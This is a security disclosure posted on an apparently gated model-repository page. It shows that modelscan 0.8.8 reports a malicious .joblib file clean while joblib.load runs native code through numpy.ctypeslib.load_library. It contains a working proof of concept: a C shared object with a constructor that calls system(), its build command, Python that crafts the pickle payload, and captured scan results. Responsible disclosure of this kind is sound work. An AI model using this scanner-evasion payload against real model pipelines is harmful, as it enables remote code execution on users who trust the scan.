You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Private security research PoC. Access restricted to the maintainers of the affected project and huntr triage.

Log in or Sign Up to review the conditions and access this model content.

modelscan 0.8.8 reports a malicious .joblib CLEAN (exit 0) while joblib.load runs a numpy-native code-exec gadget (numpy.ctypeslib.load_library) that modelscan structurally cannot blocklist for the joblib format

Target

  • Project: protectai/modelscan
  • Version: modelscan 0.8.8 (pip show modelscan -> 0.8.8)
  • Scanner exercised: modelscan.scanners.PickleUnsafeOpScan (the scanner modelscan itself selects for .joblib)
  • Execution environment (verified): modelscan 0.8.8, joblib 1.5.2, numpy 2.5.1, CPython 3.12.13, Linux; venv /home/kali/modelscan-venv

Summary

modelscan is marketed as a pre-load safety scanner for ML model artifacts, including scikit-learn / joblib .joblib files. It fully parses the joblib pickle stream with pickletools.genops, extracts every GLOBAL/STACK_GLOBAL reference, and reports an issue only when the referenced module appears in its unsafe_globals allowlist in settings.py.

numpy ships an in-tree code-execution gadget: numpy.ctypeslib.load_library(libname, loader_path) resolves to ctypes.CDLL(<loader_path>/<libname>.so). Loading a shared object runs its ELF constructor (__attribute__((constructor))) = arbitrary native code execution before any Python model code runs.

Because this gadget lives under the numpy namespace, modelscan cannot add it to the blocklist without either whitelisting the one specific function (whack-a-mole) or breaking the scanning of every legitimate joblib file β€” every real scikit-learn/joblib artifact is packed with numpy globals (numpy.ndarray, numpy.dtype, numpy._core.multiarray._reconstruct, joblib's NumpyArrayWrapper). Blocklisting numpy would false-positive on the entire ecosystem, so numpy is deliberately absent from unsafe_globals.

The result: modelscan's own parser sees ('numpy.ctypeslib', 'load_library') in the file, yet reports No issues found! πŸŽ‰ and exits 0, while joblib.load() of the same file achieves RCE.

Root cause

modelscan/tools/picklescanner.py -> _list_globals() genops-parses the whole stream and returns the set of (module, name) globals. For our payload it returns exactly {('numpy.ctypeslib', 'load_library')} β€” so the dangerous global is fully extracted. The decision to flag or not is made in _build_scan_result_from_raw_globals():

for rg in raw_globals:
    global_module, global_name, severity = rg[0], rg[1], None
    for severity_name in severities:
        if global_module not in settings["unsafe_globals"][severity_name]:
            continue                                   # <-- numpy.ctypeslib is not a key -> skipped
        filter = settings["unsafe_globals"][severity_name][global_module]
        ...
    if "unknown" in global_module or "unknown" in global_name:
        severity = IssueSeverity.CRITICAL
    if severity is not None:
        issues.append(Issue(...))                       # never reached for numpy.ctypeslib

An issue is raised only when global_module is a key in settings["unsafe_globals"][severity]. The unsafe_globals allowlist in modelscan/settings.py (CRITICAL tier) is:

__builtin__/builtins (eval, compile, getattr, apply, exec, open, breakpoint, __import__),
runpy*, os*, nt*, posix*, socket*, subprocess*, sys*, operator(attrgetter),
pty*, pickle*, _pickle*, bdb*, pdb*, shutil*, asyncio*

numpy / numpy.ctypeslib is not present anywhere in unsafe_globals (grep of settings.py confirms: no numpy key, no load_library). Therefore the loop's continue fires for every severity tier, severity stays None, and no issue is emitted β€” a clean exit despite the gadget being seen.

modelscan already knows about this gadget

modelscan/tools/picklescanner.py line 37-38 contains a standing TODO comment naming this exact gadget as a loader of concern, yet leaves it unmitigated:

# numpy.ctypeslib.load_library()
# https://numpy.org/doc/stable/reference/routines.ctypeslib.html#numpy.ctypeslib.load_library

Why this is structurally un-closable for joblib

This is not a parser bug. Unlike the two prior joblib findings (both genops parser desyncs where the scanner's opcode walk stopped early and never saw the malicious global), here genops parses the entire stream cleanly to STOP and does surface the global. The failure is allowlist incompleteness: modelscan's blocklist model cannot enumerate every code-exec-reachable function inside the numpy namespace, and it cannot blocklist the numpy namespace wholesale because doing so breaks scanning of every legitimate .joblib. numpy is a mandatory dependency of the joblib format itself.

Proof of concept

Two-artifact supply-chain payload (a .joblib plus a co-located attacker .so, e.g. a Hugging Face repo shipping model.joblib next to a helper library):

  1. Build a benign-looking co-located shared object whose ELF constructor runs a command:

    // evil.c
    #include <stdlib.h>
    __attribute__((constructor))
    void boom(void){ system("touch /home/kali/hunt-workspace/joblib-r3/SO_PWNED"); }
    
    gcc -shared -fPIC -o libeviljl.so evil.c
    
  2. Craft the .joblib with a single reduce to the numpy gadget:

    class G:
        def __reduce__(self):
            return (numpy.ctypeslib.load_library, ('libeviljl', '<dir>'))
    joblib.dump(G(), 'evil_numpy_ctypeslib.joblib', compress=0)
    

    Disassembly is a fully-formed protocol-4 pickle (PROTO/FRAME, SHORT_BINUNICODE 'numpy.ctypeslib', SHORT_BINUNICODE 'load_library', STACK_GLOBAL, TUPLE2, REDUCE, STOP at offset 100 β€” no desync, no truncation).

  3. modelscan -p evil_numpy_ctypeslib.joblib -> No issues found! πŸŽ‰, exit 0.

  4. joblib.load('evil_numpy_ctypeslib.joblib') -> the .so constructor fires -> RCE marker created.

Negative control: an identical file using os.system is detected CRITICAL and exits 1 β€” proving the scanner and pipeline work and only the numpy-namespaced gadget slips through.

Captured evidence (verbatim, re-run at package time)

########## NEGATIVE CONTROL: os.system ##########
Scanning .../ctrl_ossystem.joblib using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
Total Issues: 1
--- CRITICAL ---
Unsafe operator found:
  - Severity: CRITICAL
  - Description: Use of unsafe operator 'system' from module 'posix'
  - Source: .../ctrl_ossystem.joblib
control MODELSCAN_EXIT=1

########## FINDING: numpy.ctypeslib.load_library ##########
Scanning .../evil_numpy_ctypeslib.joblib using modelscan.scanners.PickleUnsafeOpScan model scan
 No issues found! πŸŽ‰
finding MODELSCAN_EXIT=0
SO_PWNED (RCE marker) exists after joblib.load: YES
versions: modelscan 0.8.8 joblib 1.5.2 numpy 2.5.1

# modelscan's own parser proves it saw (but did not flag) the gadget:
globals modelscan genops extracted: [('numpy.ctypeslib', 'load_library')]

# disassembly (clean, fully-parsed pickle):
    0: \x80 PROTO      4
    2: \x95 FRAME      90
   11: \x8c SHORT_BINUNICODE 'numpy.ctypeslib'
   28: \x94 MEMOIZE    (as 0)
   29: \x8c SHORT_BINUNICODE 'load_library'
   43: \x94 MEMOIZE    (as 1)
   44: \x93 STACK_GLOBAL
   45: \x94 MEMOIZE    (as 2)
   46: \x8c SHORT_BINUNICODE 'libeviljl'
   57: \x94 MEMOIZE    (as 3)
   58: \x8c SHORT_BINUNICODE '/home/kali/hunt-workspace/joblib-r3'
   95: \x94 MEMOIZE    (as 4)
   96: \x86 TUPLE2
   97: \x94 MEMOIZE    (as 5)
   98: R    REDUCE
   99: \x94 MEMOIZE    (as 6)
  100: .    STOP
highest protocol among opcodes = 4

Impact

Arbitrary native-code execution (RCE) on any machine that trusts modelscan's verdict before loading a .joblib from an untrusted source (Hugging Face repo, model registry, CI artifact scan). modelscan green-lights the file; joblib.load then executes the attacker's ELF constructor. Because modelscan is frequently used as a gate ("scan before load"), a CLEAN result actively increases the victim's willingness to load.

Caveat / attack model

This gadget is a two-artifact supply-chain attack: the .joblib plus a co-located attacker-controlled .so (realistic for a model repo that ships a "helper" library, but not a single-file payload). The loader_path argument in the pickle points at the directory the .so is dropped in. This does not reduce the core finding: modelscan's blocklist design cannot cover numpy-namespaced code-exec gadgets for the joblib format without breaking the format.

Suggested remediation

There is no clean blocklist fix. Options: (a) treat any numpy.ctypeslib.load_library (and other ctypes/CDLL-reaching numpy entrypoints) as CRITICAL via an explicit function-level allow/deny that does not depend on the whole numpy namespace; (b) move to an allowlist model for joblib globals (only permit the small known-safe set of numpy reconstruction globals) rather than a blocklist; (c) clearly document that a CLEAN modelscan result on .joblib is not a safety guarantee.

Dedup note

Distinct from the two prior joblib findings filed from this account (huntr-poc-joblib-numeric-genops, huntr-poc-joblib-stopbyte), which are both genops parser-desync bugs (the opcode walk desynchronizes/stops early and never observes the malicious global). This finding is the opposite: genops parses the entire stream cleanly and does observe the global (_list_globals() returns it) β€” the failure is allowlist incompleteness in _build_scan_result_from_raw_globals()/settings.py, which is structurally un-closable for the joblib format. No public CVE currently covers the numpy-namespace allowlist gap for joblib.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support